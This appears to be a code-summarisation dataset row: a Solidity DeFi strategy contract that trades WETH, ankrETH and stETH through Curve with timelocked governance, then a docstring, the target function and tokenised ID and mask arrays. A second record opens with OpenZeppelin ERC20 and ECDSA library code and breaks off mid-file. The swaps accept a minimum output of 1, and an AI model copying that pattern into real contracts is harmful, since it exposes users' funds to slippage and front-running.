for(uint256 i2 = 0; i2 < length; i2++){
if(done[i2] == false){
uint256 _normBal = tokenList[i2].token.balanceOf(address(this)).mul(1e18).div(10**tokenList[i2].decimals);
if(targetNormBalance == 0 || _normBal >= targetNormBalance){
targetNormBalance = _normBal;
targetID = i2;
}
}
}
done[targetID] = true;
// Determine the balance left
uint256 _normalizedBalance = tokenList[targetID].token.balanceOf(address(this)).mul(1e18).div(10**tokenList[targetID].decimals);
if(_normalizedBalance <= _withdrawAmount){
// Withdraw the entire balance of this token
if(_normalizedBalance > 0){
_withdrawAmount = _withdrawAmount.sub(_normalizedBalance);
tokenList[targetID].token.safeTransfer(_receiver, tokenList[targetID].token.balanceOf(address(this)));
}
}else{
// Withdraw a partial amount of this token
if(_withdrawAmount > 0){
// Convert the withdraw amount to the token's decimal amount
uint256 _balance = _withdrawAmount.mul(10**tokenList[targetID].decimals).div(1e18);
_withdrawAmount = 0;
tokenList[targetID].token.safeTransfer(_receiver, _balance);
}
break; // Nothing more to withdraw
}
}
}
function simulateExchange(uint256 _idIn, uint256 _idOut, uint256 _amount) internal view returns (uint256) {
CurvePool pool;
if(_idIn != 0 && _idOut != 0){
// Must use 2 pools
if(_idIn == 1){
// AETH to STETH
pool = CurvePool(CURVE_ANKRETH_POOL);
// Must first go to WETH
_amount = pool.get_dy(tokenList[_idIn].curveID, 0, _amount);
// Then STETH
pool = CurvePool(CURVE_STETH_POOL);
_amount = pool.get_dy(0, tokenList[_idOut].curveID, _amount);
}else{
// STETH to AETH
pool = CurvePool(CURVE_STETH_POOL);
// Must first go to WETH
_amount = pool.get_dy(tokenList[_idIn].curveID, 0, _amount);
// Then AETH
pool = CurvePool(CURVE_ANKRETH_POOL);
_amount = pool.get_dy(0, tokenList[_idOut].curveID, _amount);
}
}else{
if(_idIn == 1 || _idOut == 1){
// We must use the AETH pool
pool = CurvePool(CURVE_ANKRETH_POOL);
}else{
// We are using the STETH pool
pool = CurvePool(CURVE_STETH_POOL);
}
_amount = pool.get_dy(tokenList[_idIn].curveID, tokenList[_idOut].curveID, _amount);
}
return _amount;
}
function exchange(uint256 _idIn, uint256 _idOut, uint256 _amount) internal {
CurvePool pool;
uint256 _bal;
if(_idIn != 0 && _idOut != 0){
// Must use 2 pools
if(_idIn == 1){
// AETH to STETH
pool = CurvePool(CURVE_ANKRETH_POOL);
// Must first go to WETH
IERC20(tokenList[_idIn].token).safeApprove(address(pool), 0);
IERC20(tokenList[_idIn].token).safeApprove(address(pool), _amount);
_bal = address(this).balance;
pool.exchange(tokenList[_idIn].curveID, 0, _amount, 1); // Returns ETH
_amount = address(this).balance.sub(_bal);
// Then STETH
pool = CurvePool(CURVE_STETH_POOL);
pool.exchange{value: _amount}(0, tokenList[_idOut].curveID, _amount, 1);
}else{
// STETH to AETH
pool = CurvePool(CURVE_STETH_POOL);
// Must first go to WETH
IERC20(tokenList[_idIn].token).safeApprove(address(pool), 0);
IERC20(tokenList[_idIn].token).safeApprove(address(pool), _amount);
_bal = address(this).balance;
pool.exchange(tokenList[_idIn].curveID, 0, _amount, 1); // Returns ETH
_amount = address(this).balance.sub(_bal);
// Then AETH
pool = CurvePool(CURVE_ANKRETH_POOL);
pool.exchange{value: _amount}(0, tokenList[_idOut].curveID, _amount, 1);
}
}else{
if(_idIn == 1 || _idOut == 1){
// We must use the AETH pool
pool = CurvePool(CURVE_ANKRETH_POOL);
}else{
// We are using the STETH pool
pool = CurvePool(CURVE_STETH_POOL);
}
if(_idIn == 0){
// We have WETH, we must convert it to ETH to use curve
WrappedEther(WETH_ADDRESS).withdraw(_amount);
pool.exchange{value: _amount}(tokenList[_idIn].curveID, tokenList[_idOut].curveID, _amount, 1);
}else{
// We are exchange something for ETH, must convert to WETH
IERC20(tokenList[_idIn].token).safeApprove(address(pool), 0);
IERC20(tokenList[_idIn].token).safeApprove(address(pool), _amount);
_bal = address(this).balance;
pool.exchange(tokenList[_idIn].curveID, tokenList[_idOut].curveID, _amount, 1);
_bal = address(this).balance.sub(_bal); // Get the balance increase
WrappedEther(WETH_ADDRESS).deposit{value: _bal}();
}
}
}
function getCheapestCurveToken() internal view returns (uint256) {
// This will give us the ID of the cheapest token in the pool
// We will estimate the return for trading 10 WETH
// The higher the return, the lower the price of the other token
uint256 targetID = 0; // Our target ID is WETH first
uint256 wethAmount = uint256(10).mul(10**tokenList[0].decimals);
uint256 highAmount = wethAmount;
uint256 length = tokenList.length;
for(uint256 i = 1; i < length; i++){
uint256 estimate = simulateExchange(0, i, wethAmount);
// Normalize the estimate into weth decimals
estimate = estimate.mul(10**tokenList[0].decimals).div(10**tokenList[i].decimals);
if(estimate > highAmount){
// This token is worth less than the WETH
highAmount = estimate;
targetID = i;
}
}
return targetID;
}
function getFastGasPrice() internal view returns (uint256) {
AggregatorV3Interface gasOracle = AggregatorV3Interface(GAS_ORACLE_ADDRESS);
( , int intGasPrice, , , ) = gasOracle.latestRoundData(); // We only want the answer
return uint256(intGasPrice);
}
function checkAndSwapTokens(address _executor) internal {
lastTradeTime = now;
// Now find our target token to sell into
uint256 targetID = getCheapestCurveToken(); // Curve may have a slightly different cheap token than Chainlink
uint256 length = tokenList.length;
// Now sell all the other tokens into this token
uint256 _totalBalance = balance(); // Get the token balance at this contract, should increase
bool _expectIncrease = false;
for(uint256 i = 0; i < length; i++){
if(i != targetID){
uint256 localTarget = targetID;
uint256 sellBalance = 0;
uint256 _normBal = tokenList[i].token.balanceOf(address(this)).mul(1e18).div(10**tokenList[i].decimals);
if(_normBal <= minTradeSplit){
// If balance is too small,sell all tokens at once
sellBalance = tokenList[i].token.balanceOf(address(this));
}else{
sellBalance = tokenList[i].token.balanceOf(address(this)).mul(percentSell).div(DIVISION_FACTOR);
}
uint256 minReceiveBalance = sellBalance.mul(10**tokenList[localTarget].decimals).div(10**tokenList[i].decimals); // Change to match decimals of destination
if(sellBalance > 0){
uint256 estimate = simulateExchange(i, localTarget, sellBalance);
if(estimate > minReceiveBalance){
_expectIncrease = true;
// We are getting a greater number of tokens, complete the exchange
exchange(i, localTarget, sellBalance);
}
}
}
}
uint256 _newBalance = balance();
if(_expectIncrease == true){
// There may be rare scenarios where we don't gain any by calling this function
require(_newBalance > _totalBalance, "Failed to gain in balance from selling tokens");
}
uint256 gain = _newBalance.sub(_totalBalance);
IERC20 weth = IERC20(WETH_ADDRESS);
uint256 _wethGain = 0;
if(gain >= minGain){
uint256 sellBalance = gain.mul(10**tokenList[targetID].decimals).div(1e18);
uint256 holdBalance = sellBalance.mul(percentDepositor).div(DIVISION_FACTOR);
sellBalance = sellBalance.sub(holdBalance); // We will buy WETH with this amount
if(sellBalance <= tokenList[targetID].token.balanceOf(address(this))){
// Buy more WETH
if(targetID != 0){
_wethGain = weth.balanceOf(address(this));
exchange(targetID, 0, sellBalance);
_wethGain = weth.balanceOf(address(this)).sub(_wethGain);
}else{
// Don't need to exchange
_wethGain = sellBalance;
}
}
}
if(_wethGain > 0){
// This is pure profit, figure out allocation
// Split the amount sent to the treasury, stakers and executor if one exists
if(_executor != address(0)){
// Executors will get a gas reimbursement in WETH and a percent of the remaining
uint256 maxGasFee = getFastGasPrice().mul(gasStipend); // This is gas stipend in wei
uint256 gasFee = tx.gasprice.mul(gasStipend); // This is gas fee requested
if(gasFee > maxGasFee){
gasFee = maxGasFee; // Gas fee cannot be greater than the maximum
}
uint256 executorAmount = gasFee;
if(gasFee >= _wethGain.mul(maxPercentStipend).div(DIVISION_FACTOR)){
executorAmount = _wethGain.mul(maxPercentStipend).div(DIVISION_FACTOR); // The executor will get the entire amount up to point
}else{
// Add the executor percent on top of gas fee
executorAmount = _wethGain.sub(gasFee).mul(percentExecutor).div(DIVISION_FACTOR).add(gasFee);
}
if(executorAmount > 0){
weth.safeTransfer(_executor, executorAmount);
_wethGain = _wethGain.sub(executorAmount);
}
}
if(_wethGain > 0){
uint256 stakersAmount = _wethGain.mul(percentStakers).div(DIVISION_FACTOR);
uint256 treasuryAmount = _wethGain.sub(stakersAmount);
if(treasuryAmount > 0){
weth.safeTransfer(treasuryAddress, treasuryAmount);
}
if(stakersAmount > 0){
if(stakingAddress != address(0)){
weth.safeTransfer(stakingAddress, stakersAmount);
StabilizeStakingPool(stakingAddress).notifyRewardAmount(stakersAmount);
}else{
// No staking pool selected, just send to the treasury
weth.safeTransfer(treasuryAddress, stakersAmount);
}
}
}
}
}
function expectedProfit(bool inWETHForExecutor) external view returns (uint256) {
// This view will return the expected profit in wei units that a trading activity will have on the pool
// Now find our target token to sell into
uint256 targetID = getCheapestCurveToken(); // Curve may have a slightly different cheap token than Chainlink
uint256 length = tokenList.length;
// Now sell all the other tokens into this token
uint256 _normalizedGain = 0;
for(uint256 i = 0; i < length; i++){
if(i != targetID){
uint256 localTarget = targetID;
uint256 sellBalance = 0;
uint256 _normBal = tokenList[i].token.balanceOf(address(this)).mul(1e18).div(10**tokenList[i].decimals);
if(_normBal <= minTradeSplit){
// If balance is too small,sell all tokens at once
sellBalance = tokenList[i].token.balanceOf(address(this));
}else{
sellBalance = tokenList[i].token.balanceOf(address(this)).mul(percentSell).div(DIVISION_FACTOR);
}
uint256 minReceiveBalance = sellBalance.mul(10**tokenList[localTarget].decimals).div(10**tokenList[i].decimals); // Change to match decimals of destination
if(sellBalance > 0){
uint256 estimate = simulateExchange(i, localTarget, sellBalance);
if(estimate > minReceiveBalance){
uint256 _gain = estimate.sub(minReceiveBalance).mul(1e18).div(10**tokenList[localTarget].decimals); // Normalized gain
_normalizedGain = _normalizedGain.add(_gain);
}
}
}
}
if(inWETHForExecutor == false){
return _normalizedGain;
}else{
// Calculate WETH profit
if(_normalizedGain == 0){
return 0;
}
// Calculate how much WETH the executor would make as profit
uint256 estimate = 0;
if(_normalizedGain > 0){
uint256 sellBalance = _normalizedGain.mul(10**tokenList[targetID].decimals).div(1e18); // Convert to target decimals
uint256 holdBalance = sellBalance.mul(percentDepositor).div(DIVISION_FACTOR);
sellBalance = sellBalance.sub(holdBalance); // We will buy WETH with this amount
// Estimate output
if(targetID != 0){
estimate = simulateExchange(targetID, 0, sellBalance);
}else{
estimate = sellBalance;
}
}
// Now calculate the amount going to the executor
uint256 gasFee = getFastGasPrice().mul(gasStipend); // This is gas stipend in wei
if(gasFee >= estimate.mul(maxPercentStipend).div(DIVISION_FACTOR)){ // Max percent of total
return estimate.mul(maxPercentStipend).div(DIVISION_FACTOR); // The executor will get max percent of total
}else{
estimate = estimate.sub(gasFee); // Subtract fee from remaining balance
return estimate.mul(percentExecutor).div(DIVISION_FACTOR).add(gasFee); // Executor amount with fee added
}
}
}
function executorSwapTokens(address _executor, uint256 _minSecSinceLastTrade) external {
// Function designed to promote trading with incentive. Users get percentage of WETH from profitable trades
require(now.sub(lastTradeTime) > _minSecSinceLastTrade, "The last trade was too recent");
require(_msgSender() == tx.origin, "Contracts cannot interact with this function");
checkAndSwapTokens(_executor);
lastActionBalance = balance();
}
// Governance functions
function governanceSwapTokens() external onlyGovernance {
// This is function that force trade tokens at anytime. It can only be called by governance
checkAndSwapTokens(_msgSender());
lastActionBalance = balance();
}
// Timelock variables
uint256 private _timelockStart; // The start of the timelock to change governance variables
uint256 private _timelockType; // The function that needs to be changed
uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours
// Reusable timelock variables
address private _timelock_address;
uint256[5] private _timelock_data;
modifier timelockConditionsMet(uint256 _type) {
require(_timelockType == _type, "Timelock not acquired for this function");
_timelockType = 0; // Reset the type once the timelock is used
if(balance() > 0){ // Timelock only applies when balance exists
require(now >= _timelockStart + TIMELOCK_DURATION, "Timelock time not met");
}
_;
}
// Change the owner of the token contract
// --------------------
function startGovernanceChange(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 1;
_timelock_address = _address;
}
function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) {
transferGovernance(_timelock_address);
}
// --------------------
// Change the treasury address
// --------------------
function startChangeTreasury(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 2;
_timelock_address = _address;
}
function finishChangeTreasury() external onlyGovernance timelockConditionsMet(2) {
treasuryAddress = _timelock_address;
}
// --------------------
// Change the staking address
// --------------------
function startChangeStakingPool(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 3;
_timelock_address = _address;
}
function finishChangeStakingPool() external onlyGovernance timelockConditionsMet(3) {
stakingAddress = _timelock_address;
}
// --------------------
// Change the zsToken address
// --------------------
function startChangeZSToken(address _address) external onlyGovernance {
_timelockStart = now;
_timelockType = 4;
_timelock_address = _address;
}
function finishChangeZSToken() external onlyGovernance timelockConditionsMet(4) {
zsTokenAddress = _timelock_address;
}
// --------------------
// Change the trading conditions used by the strategy
// --------------------
function startChangeTradingConditions(uint256 _pTradeTrigger, uint256 _pSellPercent, uint256 _minSplit, uint256 _maxStipend, uint256 _pMaxStipend) external onlyGovernance {
// Changes a lot of trading parameters in one call
require(_pTradeTrigger <= 100000 && _pSellPercent <= 100000 && _pMaxStipend <= 100000,"Percent cannot be greater than 100%");
_timelockStart = now;
_timelockType = 5;
_timelock_data[0] = _pTradeTrigger;
_timelock_data[1] = _pSellPercent;
_timelock_data[2] = _minSplit;
_timelock_data[3] = _maxStipend;
_timelock_data[4] = _pMaxStipend;
}
function finishChangeTradingConditions() external onlyGovernance timelockConditionsMet(5) {
percentTradeTrigger = _timelock_data[0];
percentSell = _timelock_data[1];
minTradeSplit = _timelock_data[2];
gasStipend = _timelock_data[3];
maxPercentStipend = _timelock_data[4];
}
// --------------------
// Change the strategy allocations between the parties
// --------------------
function startChangeStrategyAllocations(uint256 _pDepositors, uint256 _pExecutor, uint256 _pStakers) external onlyGovernance {
// Changes strategy allocations in one call
require(_pDepositors <= 100000 && _pExecutor <= 100000 && _pStakers <= 100000,"Percent cannot be greater than 100%");
_timelockStart = now;
_timelockType = 6;
_timelock_data[0] = _pDepositors;
_timelock_data[1] = _pExecutor;
_timelock_data[2] = _pStakers;
}
function finishChangeStrategyAllocations() external onlyGovernance timelockConditionsMet(6) {
percentDepositor = _timelock_data[0];
percentExecutor = _timelock_data[1];
percentStakers = _timelock_data[2];
}
// --------------------
} | Changes a lot of trading parameters in one call | function startChangeTradingConditions(uint256 _pTradeTrigger, uint256 _pSellPercent, uint256 _minSplit, uint256 _maxStipend, uint256 _pMaxStipend) external onlyGovernance {
require(_pTradeTrigger <= 100000 && _pSellPercent <= 100000 && _pMaxStipend <= 100000,"Percent cannot be greater than 100%");
_timelockStart = now;
_timelockType = 5;
_timelock_data[0] = _pTradeTrigger;
_timelock_data[1] = _pSellPercent;
_timelock_data[2] = _minSplit;
_timelock_data[3] = _maxStipend;
_timelock_data[4] = _pMaxStipend;
}
| 14,403,190 | [
1,
7173,
279,
17417,
434,
1284,
7459,
1472,
316,
1245,
745,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
787,
3043,
1609,
7459,
8545,
12,
11890,
5034,
389,
84,
22583,
6518,
16,
2254,
5034,
389,
84,
55,
1165,
8410,
16,
225,
2254,
5034,
389,
1154,
5521,
16,
2254,
5034,
389,
1896,
510,
625,
409,
16,
2254,
5034,
389,
84,
2747,
510,
625,
409,
13,
3903,
1338,
43,
1643,
82,
1359,
288,
203,
3639,
2583,
24899,
84,
22583,
6518,
1648,
25259,
597,
389,
84,
55,
1165,
8410,
1648,
25259,
597,
389,
84,
2747,
510,
625,
409,
1648,
25259,
10837,
8410,
2780,
506,
6802,
2353,
2130,
9,
8863,
203,
3639,
389,
8584,
292,
975,
1685,
273,
2037,
31,
203,
3639,
389,
8584,
292,
975,
559,
273,
1381,
31,
203,
3639,
389,
8584,
292,
975,
67,
892,
63,
20,
65,
273,
389,
84,
22583,
6518,
31,
203,
3639,
389,
8584,
292,
975,
67,
892,
63,
21,
65,
273,
389,
84,
55,
1165,
8410,
31,
203,
3639,
389,
8584,
292,
975,
67,
892,
63,
22,
65,
273,
389,
1154,
5521,
31,
203,
3639,
389,
8584,
292,
975,
67,
892,
63,
23,
65,
273,
389,
1896,
510,
625,
409,
31,
203,
3639,
389,
8584,
292,
975,
67,
892,
63,
24,
65,
273,
389,
84,
2747,
510,
625,
409,
31,
203,
377,
203,
377,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
